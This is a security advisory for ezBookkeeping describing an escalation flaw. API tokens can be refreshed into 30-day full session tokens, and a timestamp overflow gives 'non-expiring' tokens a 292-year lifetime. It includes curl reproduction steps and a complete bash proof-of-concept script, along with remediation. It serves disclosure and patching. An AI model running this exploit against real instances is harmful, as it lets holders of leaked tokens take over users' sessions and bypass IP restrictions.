All vulnerabilities
GHSA-wq25-mpcf-2mfc

github.com/mayswind/ezbookkeeping: API Token → NORMAL Session Token Escalation via tokens/refresh.json

github.com/mayswind/ezbookkeeping
CVSS
8.1High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in2.0.1Fixed versionGitHub
Published25 Sep 2026Updated 25 Sep 2026GitHub

What fixes it

  • 2.0.1 github.com/mayswind/ezbookkeeping, goGitHub

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

API Token → NORMAL Session Token Escalation via tokens/refresh.json

---

Executive Summary

POST /api/v1/tokens/refresh.json accepts API tokens as the presenting credential (the route is mounted under /api/v1, where JWTAuthorizationByHeader runs with allowedAPIToken=true) and unconditionally mints a NORMAL session token via CreateToken(). The refreshed token inherits none of the API token's constraints: it receives the full default session lifetime (30 days), is never subject to the API-token IP allowlist, and gains every NORMAL-token session privilege.

A second flaw compounds this: an API token created with expiresInSeconds:0 — exactly what the application's own UI option "Your token does not expire" submits — is issued with an exp in year 2319 (~292 years), the product of an int64-nanosecond overflow derived from tokenMaxExpiredAtUnixTime.

**Live: an API token issued for 120 seconds was used — with only Authorization: Bearer <api_token> — to obtain a NORMAL session token valid for 30 days; a second API token minted with no expiry was issued with a lifetime of ~292 years.**

---

Attack Chain

 1. Victim mints an API token: short-lived (e.g. 120 s) or, via the UI
    "does not expire" option, one valid until year 2319.

 2. Attacker obtains the API token value (log, environment variable, backup,
    script mishandling, endpoint replay).

 3. Attacker waits past token_min_refresh_interval (default 86400 s = 24 h —
    trivial when the token is valid for ~292 years).

 4. POST /api/v1/tokens/refresh.json
       Authorization: Bearer <API token>
    -> jwtAuthorization allows type=8 (allowedAPIToken=true,
       pkg/middlewares/authorization.go:149-186).

 5. TokenRefreshHandler -> CreateToken() -> NEW TOKEN with type=1 (NORMAL),
    lifetime = TokenExpiredTimeDuration (2592000 s).

 6. Attacker now holds a full NORMAL session token that outlives the API
    token's configured expiry, escapes the API-token IP allowlist, and has
    unrestricted session capabilities (web UI, profile, token management).

---

Environment

  • Application: ezBookkeeping v2.0.1 (Go, gin v1.12.0)
  • Attacker: anyone in possession of a leaked API token value
  • Prerequisite: enable_api_token = true and an exposed API token
  • Settings: token_expired_time = 2592000, token_min_refresh_interval = 86400

(stock defaults); the expiresInSeconds request value is chosen client-side

---

Step-by-Step Reproduction (live output)

Step 1 — Log in and mint a short-lived API token

API=http://127.0.0.1:18080/api
T1=$(curl -s -X POST $API/authorize.json -H 'Content-Type: application/json' \
     -d '{"loginName":"alice","password":"P@ssw0rd!2019"}' | jq -r .result.token)
A1=$(curl -s -X POST $API/v1/tokens/generate/api.json -H "Authorization: Bearer $T1" \
     -H 'Content-Type: application/json' \
     -d '{"password":"P@ssw0rd!2019","expiresInSeconds":120}' | jq -r .result.token)

Live output:

  [OK] API token acquired: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
      type=8 (API)  exp=1790147738 (2026-09-23 07:15:38 UTC)  (configured 120 s)

Step 2 — Mint a "does not expire" API token (expiresInSeconds omitted / 0)

A0=$(curl -s -X POST $API/v1/tokens/generate/api.json -H "Authorization: Bearer $T1" \
     -H 'Content-Type: application/json' -d '{"password":"P@ssw0rd!2019"}')

Live output:

default API token claims: type=8 (API)  exp=11013519595 (2319-01-03 06:59:55 UTC)
lifetime seconds: 9223372037 (~292.3 years)   <-- int64-ns overflow of tokenMaxExpiredAtUnixTime

Step 3 — Refresh using only the API token

sleep 2   # exceed token_min_refresh_interval (set to 1 s for the test; 86400 s stock)
curl -s -X POST $API/v1/tokens/refresh.json -H "Authorization: Bearer $A1" \
     -H 'Content-Type: application/json' -d '{}'

Live output:

      type=8 (API)  exp=2026-09-23 07:15:49+00:00
  AFTER REFRESH WITH API TOKEN -> type=1 (NORMAL), exp=2026-10-23 07:13:23 UTC
       <= refreshed from an API token using only Authorization: Bearer <api_token>

Step 4 — Prove the escalated token authenticates

curl -s $API/v1/users/profile/get.json -H "Authorization: Bearer $NT"

Live output:

escalated token hits authenticated /v1/users/profile/get.json -> username=alice

Step 5 — Compare lifetimes

short-lived API token expiry:  2026-09-23 07:15:49 UTC   (180 s)
escalated NORMAL token expiry: 2026-10-23 07:13:23 UTC   (30 days)
lifetime extension: ~29.98 days + IP-allowlist escape + full session privileges

---

Root Cause Summary Table

| File:Line | Component | Issue | |-----------|-----------|-------| | pkg/api/tokens.go:327-418 | TokenRefreshHandler | Refreshes whatever token was presented; no requirement that it be NORMAL | | pkg/services/tokens.go:74-78 | CreateToken | Hard-codes USER_TOKEN_TYPE_NORMAL — refreshed type is not derived from the source token | | pkg/middlewares/authorization.go:149-186 | jwtAuthorization | /api/v1 header auth passes allowedAPIToken=true → type-8 tokens reach the handler | | pkg/services/tokens.go:110-122 | CreateAPIToken | expiresInSeconds:0 → time.Unix(tokenMaxExpiredAtUnixTime,0).Sub(now) (line 117) | | pkg/services/tokens.go:23 | constant | tokenMaxExpiredAtUnixTime = 253402300799; int64-ns overflow → observed 292-year tokens | | pkg/middlewares/api_token_ip_limit.go:20-38 | IP allowlist | Only enforced for type==API → escalated NORMAL token is unrestricted | | src/views/desktop/users/settings/dialogs/UserGenerateTokenDialog.vue:31-33,209 | UI | Submits "does not expire" (expiresInSeconds:0) | | pkg/settings/setting.go:196 | config | defaultTokenMinRefreshInterval=86400 — only delays escalation 24 h |

---

Remediation

  1. In TokenRefreshHandler, reject any token with claims.Type != USER_TOKEN_TYPE_NORMAL.
  2. When refreshing, carry the source token's remaining lifetime instead of resetting

to the full default session lifetime.

  1. Treat expiresInSeconds:0/omitted as invalid, or cap it to an

admin-configurable maximum; fix the tokenMaxExpiredAtUnixTime int64-ns overflow.

  1. Consider applying the same IP-allowlist gate to all session tokens for deployments

that rely on it.

---

Reproduction Artifacts

  • Affected: pkg/api/tokens.go:327, pkg/services/tokens.go:74,

pkg/middlewares/authorization.go:170, pkg/services/tokens.go:117, pkg/middlewares/api_token_ip_limit.go:20

  • PoC: embedded in section below (ezbk-token-refresh-escalation.sh)

---

PoC: ezbk-token-refresh-escalation.sh

#!/usr/bin/env bash
# API token -> NORMAL session token via /api/v1/tokens/refresh.json
# Confirmed live on ezBookkeeping v2.0.1 (2026-09-23).
set -uo pipefail
API="${EZBK_API:-http://127.0.0.1:18080/api}"
PW="${EZBK_PW:-P@ssw0rd!2019}"
MIN="${EZBK_MIN_REFRESH_SLEEP:-2}"   # stock token_min_refresh_interval is 86400s (24h)

say() { printf '\n\033[1;34m[+] %s\033[0m\n' "$*"; }
ok()  { printf '\033[1;32m[OK] %s\033[0m\n' "$*"; }
bad() { printf '\033[1;31m[!!] %s\033[0m\n' "$*"; exit 1; }

say "Step 1: Reachability + login"
curl -sf -m 5 -o /dev/null "$API/authorize.json" || bad "kernel not reachable"
T1=$(curl -s -X POST "$API/authorize.json" -H "Content-Type: application/json" \
     -d "{\"loginName\":\"alice\",\"password\":\"$PW\"}" \
     | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"]["token"])')
[ -n "$T1" ] || bad "login failed"
ok "logged in"

say "Step 2: Mint a 120-second API token"
A1=$(curl -s -X POST "$API/v1/tokens/generate/api.json" -H "Authorization: Bearer $T1" \
     -H "Content-Type: application/json" \
     -d "{\"password\":\"$PW\",\"expiresInSeconds\":120}" \
     | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"]["token"])')
[ "${#A1}" -gt 40 ] || bad "api token mint failed"
ok "API token minted"

say "Step 3: Mint a 'does not expire' (expiresInSeconds=0) API token"
A0=$(curl -s -X POST "$API/v1/tokens/generate/api.json" -H "Authorization: Bearer $T1" \
     -H "Content-Type: application/json" \
     -d "{\"password\":\"$PW\"}" \
     | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"]["token"])')

python3 - "$A1" "$A0" <<'PY'
import sys, base64, json, datetime
for name, tok in [("120s API token", sys.argv[1]), ("no-expire API token", sys.argv[2])]:
    p = tok.split('.')[1]; p += '=' * (-len(p) % 4)
    c = json.loads(base64.urlsafe_b64decode(p))
    print(f"       {name}: type={c['type']} exp={datetime.datetime.fromtimestamp(c['exp'], datetime.UTC)}")
PY

say "Step 4: Refresh with ONLY the API token (token-type confusion: 8 -> NORMAL)"
sleep "$MIN"
NT=$(curl -s -X POST "$API/v1/tokens/refresh.json" -H "Authorization: Bearer $A1" \
     -H "Content-Type: application/json" -d '{}' \
     | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"].get("newToken",""))')
[ -n "$NT" ] || bad "refresh returned no newToken"
python3 - "$NT" <<'PY'
import sys, base64, json, datetime
p = sys.argv[1].split('.')[1]; p += '=' * (-len(p) % 4)
c = json.loads(base64.urlsafe_b64decode(p))
print(f"       ESCALATED: type={c['type']} (1=NORMAL) exp={datetime.datetime.fromtimestamp(c['exp'], datetime.UTC)}")
PY

say "Step 5: Use the escalated token on authenticated endpoint"
curl -s "$API/v1/users/profile/get.json" -H "Authorization: Bearer $NT" \
 | python3 -c 'import sys,json;u=json.load(sys.stdin)["result"];print(f"       [OK] authenticated username={u[\"username\"]} email={u[\"email\"]}")'

say "RESULT"
cat <<'R'
  [HIGH] API token (even 120s-expiry, even IP-allowlisted) refreshes into a
         full NORMAL session token via /api/v1/tokens/refresh.json:
         expiry escape + IP-allowlist escape + unrestricted session privileges.
R

Connect with the researcher: Evilord on LinkedIn

Text from GitHub Advisory Database

Affected versions 1

  • github.com/mayswind/ezbookkeeping, go1.2.0 – 2.0.0GitHub